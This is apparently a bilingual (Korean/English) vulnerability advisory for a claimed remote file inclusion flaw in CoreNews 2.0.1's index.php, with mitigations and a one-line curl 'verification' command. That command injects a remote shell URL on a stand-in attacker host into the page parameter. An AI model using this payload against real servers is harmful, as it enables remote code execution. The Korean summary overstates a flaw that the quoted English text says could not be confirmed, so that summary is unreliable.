🇰🇷 한글 설명
CoreNews 2.0.1의 index.php에서 page 파라미터를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있는 원격 파일 포함(RFI) 취약점입니다. 웹서버 권한으로 시스템 명령 실행이 가능하며, 전체 시스템 제어로 확대될 수 있습니다.
💡 쉬운 설명
CoreNews 프로그램의 웹 접근 창구에 보안 구멍이 있어서 인터넷의 누구나 컴퓨터에 악의적인 명령을 보내서 실행할 수 있습니다. 마치 문을 열어둔 것처럼 누구든 들어와서 원하는 것을 할 수 있는 상태입니다.
🇺🇸 원문 (English)
Unspecified vulnerability in index.php in Core CoreNews 2.0.1 allows remote attackers to execute arbitrary commands via the page parameter, possibly due to a PHP remote file include vulnerability. NOTE: this vulnerability could not be confirmed by source code inspection of CoreNews 2.0.1, which does not appear to use a "page" parameter or variable.
📍 영향받는 시스템
CoreNews 2.0.1 이하 버전
⚔️ 공격 벡터
index.php의 page 파라미터에 악성 URL을 입력하여 원격 파일 로드 및 실행
🛡️ 대응 방법
CoreNews를 패치 버전으로 업데이트하거나 PHP의 allow_url_include를 비활성화하고 입력값 검증 추가
🔧 검증 코드
에러나 경고가 표시되면 보안 패치됨. 파일이 정상 로드되면 여전히 취약함.
curl -s 'http://target/index.php?page=http://attacker.com/shell.php' | grep -i 'error\|warning\|command'